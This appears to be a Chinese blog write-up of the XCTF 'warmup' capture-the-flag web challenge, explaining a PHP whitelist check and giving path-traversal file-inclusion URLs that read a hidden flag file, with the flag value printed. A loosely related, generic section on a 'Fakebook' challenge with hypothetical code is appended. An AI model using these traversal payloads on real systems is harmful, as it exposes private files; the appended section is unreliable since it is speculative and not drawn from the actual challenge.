XCTF-攻防世界CTF平台-Web类——6、warmup(php中include函数遍历漏洞)

本文深入探讨了一个PHP文件包含漏洞的实例,通过分析源代码,展示了如何构造payload来访问隐藏文件。讲解了三种不同的文件路径处理情况,并给出了利用文件包含特性的payload示例,揭示了flag{25e7bce6005c4e0c983fb97297ac6e5a}

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目提示:you can’t see it? well,I guess i can.
打开题目地址:
在这里插入图片描述

标题栏是Document,只有一张图片,所以我们审计源代码:
在这里插入图片描述

有一个source.php打开:
在这里插入图片描述

有一段判断页面的代码,还有一个hint.php
在这里插入图片描述

提示flag在ffffllllaaaagggg中,应该是另一个文件中,直接访问ffffllllaaaagggg文件是不存在的:
在这里插入图片描述

所以我们继续看source.php中的代码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

介绍一下主要用到的函数和变量:
$_REQUEST :
用于收集HTML表单提交的数据,默认情况下包含$_GET、$_POST和$_COOKIE内容的关联数组,这是一个“超全局”或自动全局变量。这只是意味着它在整个脚本的所有范围内都可用。不需要做全局$variable;在函数或方法中访问它。

程序的主要逻辑是if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&&emmm::checkFile($_REQUEST['file'])这个判断中的三个条件,成立就会include $_REQUEST[‘file’]包含输入的文件代码,否则就输出那张滑稽图片。
第一个条件:检查一个变量是否为空,第二个条件:是否为字符串,其中主要是第三个条件checkFile函数的判断:

public static function checkFile(&$page){
//关联数组键值对
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//第一种情况:$page变量传入的是source.php或hint.php页面
//$page变量是否被设置,是否是一个字符串
    if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
    }
		 //$page变量的值是否在$whitelist数组中:source.php或hint.php
    if (in_array($page, $whitelist)) {return true;}
//第二种情况:source.php或hint.php后面带?的参数
//mb_strpos:查找?在$page中首次出现的位置,mb_substr:截取?之前的字符串
    $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
//?之前的页面是否在$whitelist数组中
    if (in_array($_page, $whitelist)) {
       return true;
    }
//第三种情况:source.php或hint.php后面带?经过url编码的参数
//urldecode:解码URL字符串,
    $_page = urldecode($page);
//再截取?之前的字符串
    $_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
//再判断?之前的页面是否在$whitelist数组中    
if (in_array($_page, $whitelist)) {return true;}
    echo "you can't see it";
    return false;
}

所以允许的payload就是:

http://111.200.241.244:56778/?file=source.php?+payload

或者

http://111.200.241.244:56778/source.php?file=hint.php?+payload

条件成立之后include $_REQUEST[‘file’]就会包含输入的文件代码,这里我们的payload还需要用到include函数的一个特性:
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找。如果在include_path下没找到该文件则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include结构会发出一条E_WARNING。
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 … 开头)——include_path 都会被完全忽略。例如一个文件以 …/ 开头,则解析器会在当前目录的父目录下寻找该文件。
在这里插入图片描述

所以我们可以通过include函数的这个特性,一层一层文件夹的去寻找ffffllllaaaagggg文件:
http://111.200.241.244:56778/source.php?file=hint.php?/…/ffffllllaaaagggg
在这里插入图片描述

http://111.200.241.244:56778/source.php?file=hint.php?/…/…/ffffllllaaaagggg
在这里插入图片描述

http://111.200.241.244:56778/source.php?file=hint.php?/…/…/…/ffffllllaaaagggg
在这里插入图片描述

http://111.200.241.244:56778/source.php?file=hint.php?/…/…/…/…/ffffllllaaaagggg
在这里插入图片描述

最终的flag就是在第四层:flag{25e7bce6005c4e0c983fb97297ac6e5a}
同样地,另一个payload也可以:
http://111.200.241.244:56778/source.php?file=source.php?/…/…/…/…/ffffllllaaaagggg

另外,首页也可以进行文件包含攻击:

http://111.200.241.244:56778/?file=hint.php?/../../../../ffffllllaaaagggg

在这里插入图片描述

http://111.200.241.244:56778/?file=source.php?/../../../../ffffllllaaaagggg

在这里插入图片描述

得到flag{25e7bce6005c4e0c983fb97297ac6e5a}

### XCTF WEB进阶 Fakebook 解题报告 #### 源码分析 Fakebook 似于社交网络平台,在此环境中存在多个功能模块,包括但不限于用户注册、登录以及个人信息管理等功能。通过查看源代码发现,该应用可能存在多种安全漏洞。 对于假想的 `fakebook` 平台而言,其核心逻辑通常围绕着用户的会话管理和数据交互展开。假设存在如下简化版 PHP 伪代码表示部分关键业务流程: ```php <?php class User { public $username; public $password; function login($input_username, $input_password){ // 存在一个潜在的安全隐患:未对输入做严格验证 if ($this->username === $input_username && md5($input_password) === $this->password){ $_SESSION['logged_in'] = true; return "Login successful"; } return "Invalid credentials"; } } ?> ``` 上述代码片段展示了用户认证过程中可能存在的安全隐患——使用弱哈希算法 MD5 对密码进行了处理[^1]。 #### 安全问题剖析 基于以上描述可以推测出几个主要攻击面: - **弱哈希函数**:MD5 已经被证明不再适合用于保护敏感信息,因为它容易受到碰撞攻击的影响。 - **缺乏输入过滤机制**:未能有效防止恶意字符进入系统内部,这可能导致 SQL 注入或其他型的注入攻击发生。 - **不恰当的错误消息返回**:当用户名或密码错误时给出的具体提示可能会帮助攻击者缩小猜测范围。 #### 利用技巧 针对这些弱点,参赛选手可以从以下几个方面入手尝试突破并解决问题: - 尝试暴力破解或者彩虹表查找已知 MD5 值对应的原始字符串; - 测试是否存在其他形式的数据注入风险点,比如 URL 参数、POST 请求体内的字段等位置; - 探索是否有任何地方暴露出过多调试信息给外部访问者利用; 成功完成挑战后一般可以获得 flag 或者进一步的操作权限作为奖励。 #### 复现过程 为了模拟真实的渗透测试场景,建议按照以下方式构建实验环境来进行练习: 1. 构建一个似的 Web 应用程序框架,确保其中包含了所有必要的组件和服务依赖关系; 2. 实施相应的防护措施来抵御常见的Web 攻击手段,如 XSS 和 CSRF 等; 3. 使用工具辅助自动化执行某些特定任务,例如 Hydra 可以用来实施字典攻击尝试登陆接口; 4. 记录每一步操作细节以便后续总结经验教训,并分享给社区成员共同学习进步。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值